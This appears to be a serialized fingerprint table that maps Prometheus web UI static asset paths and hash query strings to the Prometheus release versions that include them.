+1.6.0"X +Mstatic/vendor/js/jquery.hotkeys.js?v=290d71791a507a5057b9a099c9d48703d86dc941 +2.3.0"Y +Mstatic/vendor/moment/moment.min.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0" +"static/vendor/moment/moment.min.js +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=bfa37c8ee39d11078662dce16c162a61dccf616c +1.7.0" +static/css/2.cede384b.chunk.css +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0 +2.32.1 +2.32.0 +2.31.2 +2.31.1 +2.31.0 +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=43acd0e2e93f9f70c49b2267efa0124f1e759e86 +2.12.0"[ +Ostatic/vendor/js/jquery.selection.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1"\ +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"I +>static/js/alerts.js?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"T +Istatic/vendor/js/jquery.min.js?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"O +Dstatic/css/prometheus.css?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"J +>static/js/alerts.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"X +Mstatic/vendor/moment/moment.min.js?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"I +>static/js/alerts.js?v=82f98c825a1437c0a24056eb4dc986d9a3fc7fae +2.7.2"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1"O +Cstatic/js/graph/index.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"[ +Ostatic/vendor/js/jquery.selection.js?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1"S +Gstatic/vendor/fuzzy/fuzzy.js?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"X +Mstatic/vendor/moment/moment.min.js?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=39e01b369dbd78278ca63e54f4976dff3b41df98 +2.17.0"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"J +?static/css/graph.css?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"J +>static/js/alerts.js?v=6ea4252299f542669aca11860abc2192bdc7bede +2.13.0"P +Dstatic/css/prometheus.css?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=c305ffaa092e94e9d2dbbddf8226c4813b1190a0 +2.4.2"\ +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=bc6058c81272a8d938c05e75607371284236aadc +2.2.1"K +?static/js/targets.js?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=b639fe140c1f71b2cbad3fc322b17efe60839e7e +2.6.1"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1"] +Qstatic/vendor/mustache/mustache.min.js?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"M +Astatic/css/targets.css?v=657ba532e42f1db8d7c77bf802378643da0d3118 +2.19.3"[ +Ostatic/vendor/js/jquery.selection.js?v=983ebb4a513302315a8117932ab832815f85e3d2 +2.20.1"L +Astatic/css/targets.css?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"z +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2"N +Cstatic/js/graph/index.js?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"S +Gstatic/vendor/fuzzy/fuzzy.js?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=983ebb4a513302315a8117932ab832815f85e3d2 +2.20.1"K +?static/js/targets.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"X +Mstatic/vendor/js/jquery.hotkeys.js?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"U +Istatic/vendor/js/popper.min.js?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"K +?static/js/targets.js?v=d20e84d0fb64aff2f62a977adc8cfb656da4e286 +2.10.0"O +Cstatic/js/graph/index.js?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"u +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=43acd0e2e93f9f70c49b2267efa0124f1e759e86 +2.12.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"J +?static/js/targets.js?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=ae041f97cfc6f43494bed65ec4ea4e3a0cf2ac69 +2.17.1"& +static/js/main.b0a7c7cf.js +2.35.0"[ +Ostatic/vendor/js/jquery.selection.js?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2"O +Dstatic/css/prometheus.css?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"M +Astatic/css/targets.css?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"K +?static/js/targets.js?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"l +`static/vendor/moment/moment-timezone-with-data.min.js?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1"L +Astatic/img/favicon.ico?v=188ca45bd85ce843071e768d855722a9d9dabe03 +2.3.1"X +Mstatic/vendor/js/jquery.hotkeys.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"M +Astatic/css/targets.css?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"t +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=bc6058c81272a8d938c05e75607371284236aadc +2.2.1" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"\ +Qstatic/vendor/mustache/mustache.min.js?v=22eadbe635528fa17b99a7635fed6b6018103042 +1.7.2" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0"] +Qstatic/vendor/mustache/mustache.min.js?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0"K +?static/js/targets.js?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"P +Dstatic/css/prometheus.css?v=43acd0e2e93f9f70c49b2267efa0124f1e759e86 +2.12.0"J +?static/js/targets.js?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=39e01b369dbd78278ca63e54f4976dff3b41df98 +2.17.0"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"Y +Mstatic/vendor/moment/moment.min.js?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"M +Astatic/css/targets.css?v=43acd0e2e93f9f70c49b2267efa0124f1e759e86 +2.12.0"Y +Mstatic/vendor/moment/moment.min.js?v=39e01b369dbd78278ca63e54f4976dff3b41df98 +2.17.0"N +Cstatic/js/graph/index.js?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"t +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=82f98c825a1437c0a24056eb4dc986d9a3fc7fae +2.7.2"S +Gstatic/vendor/fuzzy/fuzzy.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"K +?static/css/graph.css?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0" +Pstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"@ + static/js/main.523371a3.chunk.js +2.25.2 +2.25.1 +2.25.0"K +?static/css/graph.css?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"] +Qstatic/vendor/mustache/mustache.min.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"K +?static/css/graph.css?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"3 +static/js/2.14ef932b.chunk.js +2.24.1 +2.24.0"g +\static/vendor/bootstrap-4.1.3/js/bootstrap.min.js?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"L +Astatic/css/targets.css?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=ae041f97cfc6f43494bed65ec4ea4e3a0cf2ac69 +2.17.1"] +Qstatic/vendor/mustache/mustache.min.js?v=ae041f97cfc6f43494bed65ec4ea4e3a0cf2ac69 +2.17.1"O +Dstatic/css/prometheus.css?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"Z +Ostatic/vendor/js/jquery.selection.js?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"X +Mstatic/vendor/js/jquery.hotkeys.js?v=5211b96d4d1291c3dd1a569f711d3b301b635ecb +1.8.2"J +?static/css/graph.css?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"j +^static/vendor/bootstrap-4.5.2/css/bootstrap.min.css?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"l +`static/vendor/moment/moment-timezone-with-data.min.js?v=6f92ce56053866194ae5937012c1bec40f1dd1d9 +2.13.1"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=b90be6f32a33c03163d700e1452b54454ddce0ec +2.16.0"z +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=22eadbe635528fa17b99a7635fed6b6018103042 +1.7.2"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1"L +Astatic/css/targets.css?v=188ca45bd85ce843071e768d855722a9d9dabe03 +2.3.1"t +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=22eadbe635528fa17b99a7635fed6b6018103042 +1.7.2"J +?static/js/targets.js?v=188ca45bd85ce843071e768d855722a9d9dabe03 +2.3.1"J +?static/css/graph.css?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"\ +Qstatic/vendor/mustache/mustache.min.js?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"K +?static/css/graph.css?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"6 + static/js/main.63f15779.chunk.js +2.24.1 +2.24.0"T +Istatic/vendor/js/popper.min.js?v=ad71f2785fc321092948e33706b04f3150eee44f +2.9.1"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"M +Astatic/img/favicon.ico?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"\ +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"L +Astatic/img/favicon.ico?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"& +static/js/main.adc0fff3.js +2.41.0"L +Astatic/img/favicon.ico?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"\ +Qstatic/vendor/mustache/mustache.min.js?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"M +Astatic/img/favicon.ico?v=a12e96299dcd159ea09b260f1a21e7e4b86e011d +2.18.0"u +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=ae041f97cfc6f43494bed65ec4ea4e3a0cf2ac69 +2.17.1"Z +Ostatic/vendor/js/jquery.selection.js?v=ad71f2785fc321092948e33706b04f3150eee44f +2.9.1"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"O +Cstatic/js/graph/index.js?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1"S +Gstatic/vendor/fuzzy/fuzzy.js?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"R +Gstatic/vendor/fuzzy/fuzzy.js?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0"] +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1"P +Dstatic/css/prometheus.css?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"\ +Qstatic/vendor/mustache/mustache.min.js?v=82f98c825a1437c0a24056eb4dc986d9a3fc7fae +2.7.2" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"Z +Ostatic/vendor/js/jquery.selection.js?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"Y +Mstatic/vendor/moment/moment.min.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1"P +Dstatic/css/prometheus.css?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"P +Dstatic/css/prometheus.css?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=d20e84d0fb64aff2f62a977adc8cfb656da4e286 +2.10.0"T +Istatic/vendor/js/jquery.min.js?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"l +`static/vendor/moment/moment-timezone-with-data.min.js?v=657ba532e42f1db8d7c77bf802378643da0d3118 +2.19.3" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=c448ada63d83002e9c1d2c9f84e09f55a61f0ff7 +2.19.2"J +?static/js/targets.js?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"I +>static/js/alerts.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"P +Dstatic/css/prometheus.css?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"l +`static/vendor/moment/moment-timezone-with-data.min.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"I +>static/js/alerts.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"O +Dstatic/css/prometheus.css?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"J +?static/css/graph.css?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"M +Astatic/img/favicon.ico?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=ad71f2785fc321092948e33706b04f3150eee44f +2.9.1" + +consoles/index.html.example +2.43.0 +2.42.0 +2.41.0 +2.40.7 +2.40.6 +2.40.5 +2.40.4 +2.40.3 +2.40.2 +2.40.1 +2.40.0 +2.39.2 +2.39.1 +2.39.0 +2.38.0 +2.37.5 +2.37.4 +2.37.3 +2.37.2 +2.37.1 +2.37.0 +2.36.2 +2.36.1 +2.36.0 +2.35.0 +2.34.0 +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0 +2.32.1 +2.32.0 +2.31.2 +2.31.1 +2.31.0 +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0 +2.29.2 +2.29.1 +2.29.0 +2.28.1 +2.28.0 +2.27.1 +2.27.0 +2.26.1 +2.26.0 +2.25.2 +2.25.1 +2.25.0 +2.24.1 +2.24.0 +2.23.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0 +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"\ +Qstatic/vendor/mustache/mustache.min.js?v=5211b96d4d1291c3dd1a569f711d3b301b635ecb +1.8.2"S +Gstatic/vendor/fuzzy/fuzzy.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"O +Dstatic/css/prometheus.css?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"[ +Ostatic/vendor/js/jquery.selection.js?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0"J +?static/js/targets.js?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"g +\static/vendor/bootstrap-4.1.3/js/bootstrap.min.js?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"O +Dstatic/css/prometheus.css?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"S +Gstatic/vendor/fuzzy/fuzzy.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"Z +Ostatic/vendor/js/jquery.selection.js?v=290d71791a507a5057b9a099c9d48703d86dc941 +2.3.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1"] +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"X +Mstatic/vendor/moment/moment.min.js?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1"[ +Ostatic/vendor/js/jquery.selection.js?v=ae041f97cfc6f43494bed65ec4ea4e3a0cf2ac69 +2.17.1"K +?static/js/targets.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=c448ada63d83002e9c1d2c9f84e09f55a61f0ff7 +2.19.2"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"K +@static/css/alerts.css?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"\ +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"J +?static/css/graph.css?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"R +Gstatic/vendor/fuzzy/fuzzy.js?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"L +@static/css/alerts.css?v=6ea4252299f542669aca11860abc2192bdc7bede +2.13.0"L +Astatic/css/targets.css?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"L +Astatic/img/favicon.ico?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"S +Gstatic/vendor/fuzzy/fuzzy.js?v=39e01b369dbd78278ca63e54f4976dff3b41df98 +2.17.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"I +>static/js/alerts.js?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2"K +@static/css/alerts.css?v=c305ffaa092e94e9d2dbbddf8226c4813b1190a0 +2.4.2"[ +static/js/2.3cf95cda.chunk.js +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=983ebb4a513302315a8117932ab832815f85e3d2 +2.20.1" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"T +Istatic/vendor/js/jquery.min.js?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"H +=static/js/graph.js?v=b38e977fd8cc2a0d13f47e7f0e17b82d1a908a9a +1.6.2"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"u +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=188ca45bd85ce843071e768d855722a9d9dabe03 +2.3.1"N +Cstatic/js/graph/index.js?v=71af5e29e815795e9dd14742ee7725682fa14b7b +2.3.2"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=c448ada63d83002e9c1d2c9f84e09f55a61f0ff7 +2.19.2"M 